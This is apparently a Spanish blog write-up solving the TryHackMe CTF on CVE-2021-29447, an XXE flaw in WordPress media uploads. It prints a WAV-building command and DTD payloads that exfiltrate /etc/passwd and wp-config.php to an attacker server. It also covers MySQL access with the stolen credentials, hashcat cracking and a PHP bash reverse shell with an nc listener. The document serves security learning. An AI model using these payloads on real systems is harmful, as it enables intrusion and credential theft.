Esta vulnerabilidad registrada en el CERT en Abril, afecta a los WordPress anteriores al 5.7.1 y aprovecha el fallo de seguridad de inyección externa XML en los archivos multimedia.
En este POST describiremos esta vulnerabilidad y como reproducirla, resolviendo la CTF de TryHackme «WordPress: CVE-2021-29447» la cual cuenta también un resumen de la vulnerabilidad.
Decripción CVE-2021-29447
La vulnerabilidad nos permite el acceso de archivos internos, mediante un ataque XEE de tipo SSRF (Falsificación de solicitud desde el lado del servidor) que nos permite extraer información, poniendo en peligro la confidencialidad del sistema y la obtención de datos para ataques mayores como se comprobara durante el ataque a la CTF de TryHackme.
Esta catalogada de grado media, ya que necesitaremos de un usuario y clave que nos permita cargar un archivo multimedia con una carga útil que nos permita el acceso a los archivos internos, en WordPress el archivo wp-config.php nos pondría en peligro el sistema por la información que contiene este.
Ataque XXE
Un ataque XXE (XML External Entity) es una inyección de código en una aplicación que analiza datos XML. En el caso que nos ocupa basta con introducir un archivo multimedia, un WAV por ejemplo, con información en XML que solicita un acceso URI que permite acceder a ficheros del sistema obteniendo de esta forma información de interés.
Así que bastaría por ejemplo introducir las siguientes lineas XML en nuestro archivo multimedia para que esta recoja información del fichero de password.
<!DOCTYPE ANY[<!ENTITY % remote SYSTEM 'http://IP:PUERTO/Payload.dtd'>%remote;%init;%trick;]>
Esto solicita una DTD (Payload.dtd) a nuestra maquina atacante la cual tendrá la carga util que solicitara la información del fichero de claves.
// Lee el fichero /etc/passwd
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
// Enviamos el contenido a nuestro servidor
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >
Resolución CTF TryaHackMe CVE-2021-29447
Una vez tenemos arrancada la maquina con la CTF «WordPress: CVE-2021-29447» y procedemos a realizar primero una enumeración de puertos, con nmap por ejemplo, localizando:
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
Nos interesa en este primer momento el 80 que es donde tenemos instalado el WordPress, aunque los verificamos así como la versión de este para confirmar que puede ser atacado con esta vulnerabilidad.
whatweb http://IP_MaquinaVictima
Vemos que es una versión inferior a 5.7.1 por lo tanto ejecutaremos esta vulnerabilidad, para esto deberemos tener acceso a cargar fichero multimedia, en nuestro caso tenemos un usuario y clave (test-corp / test) que nos da la CTF
Verificamos si este tiene acceso a cargar archivos multimedia, entrando en la parte administrativa «http:IP/wp-admin» y vamos a «Media» comprobando que si podemos cargar archivos multimedia.
Lo primero sera crear un archivo WAV con la solicitud al DTD de nuestra maquina de ataque, junto al DTD de payload que solicitara el archivo «/etc/passwd» en un primer momento para confirmar la vulnerabilidad.
Creando WAV envenenado
echo -en 'RIFF\x85\x00\x00\x00WAVEiXML\x79\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://IP_ATACANTE:PUERTO/MiEvil.dtd'"'"'>%remote;%init;%trick;]>\x00' > mipayload.wav
Formato del archivo WAV que creamos
- 4 bytes «RIFF»
- 4 bytes con la longitud del archivo menos 8 (en nuestro caso 0x85) se quitan estos primeros 8 bytes.
- 4 bytes Formato del fichero «WAVE»
- 4 bytes tipo de datos, lo normal es «fmt» pero en nuestro caso «iXML»
- 4 bytes la longitud del fichero menos 20 bytes, quitamos estos bytes
- Contenido XML que solicita DTD
- 0x00
Ahora crearemos la DTD que indica el archivo a volcar y que en un principio sera el archivo de grupos, para confirmar el funcionamiento de nuestro payload.
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/group">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://IP_ATACANTE:PUERTO/?p=%file;'>" >
//Otra forma llegándonos comprimido
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://IP_ATACANTE:PUERTO/?p=%file;'>" >
// La visualizacion en este caso es con un fichero PHP
// <?php echo zlib_decode(base64_decode('BASE64 RECIBIDO0')); ?>
// php <fichero.php> Asi descomprime y decodifica.
Ejecutamos servidor web del DTD y que recogerá el contenido de los ficheros que solicitemos.
python2 -m SimpleHTTPServer PUERTO
Cargamos el fichero WAV en nuestro wordpress, mipayload.wav, y este solicitara el DTD que le pedira el grupo de usuarios. Si todo es correcto nos retornara un resultado después del GET que deberemos decodifica con la siguiente instrucción.
echo "CODIGO BASE 64 RETORNADO" | base64 -d
Una vez confirmemos que nos funciona el payload comenzamos a resolver la CTF.
Resolviendo la CTF
La primera pregunta es «Nombre de la Base de datos WordPress», para esto recogeremos el fichero de configuración «wp-config.php» que normalmente lo encontraremos en «/var/www/html», así que modificamos el DTD para la ocasión
// Según la estructura de WordPress el WAV se grabara en un directorio que esta en el raiz, por eso salimos un nivel del directorio.
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://IP_ATACANTE:PUERTO/?p=%file;'>" >
Volvemos a cargar nuestro WAV para este nuevo DTD y decodificamos el resultado que deberá ser el fichero wp-config.php en el cual encontraremos mucha información.
Tendremos la información de las primeras preguntas: nombre base de datos, usuario y clave de la base de datos. También se pregunta el motor de base de datos utilizado, que en el fichero de configuración nos confirma que es el visto con la herramienta «nmap» del principio.
La versión de Base de Datos y el puerto utilizado se puede ver con el nmap que se ejecuto al principio.
Después nos pregunta la contraseña encriptada del ID=1 de usuarios de wordpress, gracias a la exfiltracion de datos del fichero wp-config.php podemos acceder a la base de datos y como el puerto esta publicado al exterior no tenemos que realizar ninguna accion adiciona para entrar en ellas
mysql -h IP_MAQUINA_ATACADA -u <usuario obtenido anteriormente -p
// Nos pedirá la clave y al introducirla ya estamos dentro
Una vez en el motor de la base de datos:
- Seleccionaremos la base de datos que figura en el fichero wp-config.php, leído anteriormente con el comando «use <BBDD>;»
- Miramos la tablas de la Base de Datos ya que en WordPress el prefijo cambia según se configure en wp-config.php, con el comando «show tables;»
- Realizamos un select de esa tabla y el ID=1.
Con esto tendremos la clave cifrada de este usuario
La siguiente pregunta es descifrar esta clave, para esto usaremos «hashcat» aunque podríamos usar otras herramientas como «john«, pero esta es la que me suele gustar.
Lo primero es identificar el ID, para esto buscamos un modelo en la pagina de ejemplos de Hash de HashCat.
Buscando en ella el patron «$P$» que es como empieza nuestro Hash encontramos uno que ademas nos indica que es de WordPress, este es el Hash-Mode 400.
Copiamos nuestro Hash a descifrar en un fichero llamado Hash.txt y usando el diccionario rockyou.txt que tenemos en uno de nuestros directorios por tener muchas de las claves de la CTFs ejecutamos
hashcat -m 400 -a 0 Hash.txt ../Diccionarios/rockyou.txt
Después de un rato obtenemos el resultado como se puede ver en la imagen.
Y llegamos a la ultima pregunta que consiste en comprometer la maquina y localizar la bandera «flag.txt«
Para esto crearemos un Shell inverso ya que disponemos de un nuevo usuario que es administrador y podemos modificar así los PHP para poner nuestro Shell-Inverso, el usuario en cuestión es «corp-001» como vimos al realizar el select de la Base de datos y la clave la obtenida ultimamente.
Accedemos a la parte de administración ahora con este usuario y clave. Lo primero que se ve es como el propio wordpress recomienda actualizar de versión.
Accedemos al editor de temas para cargar uno nuevo, que sera nuestro fichero PHP con el Shell-Inverso. Nos da un error, logico no es un paquete de tema, pero no importa porque el ficherro lo podemos encontrar en medias.
// contenido Shell Inverso
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/IP_Maqina atacante/9289 0>&1'");
?>
Con el shell inverso instalado como se puede ver en los archivos de medios, solo nos queda ejecutarlo, poniendo en nuestra maquina atacante antes una escucha «nc -nlvp 9289».
Los archivos de medios se guardan en «http://IP/wp-content/uploads» y vamos navegando por los directorios según la fecha de carga hasta encontrar nuestro fichero «rev.php», momento en que pinchamos sobre el y se ejecutara el shell inverso.
Ya estamos en la maquina ahora buscamos el archivo «flag.txt» con el comando find, una vez encontrado realizamos un cat del fichero y si tenemos suerte y tenemos permisos, como es el caso, obtendremos la bandera.
Y con esto terminamos la resolución de esta CTF que nos ha enseñado como atacar la vulnerabilidad CVE-2021-29447 entre otras cosa.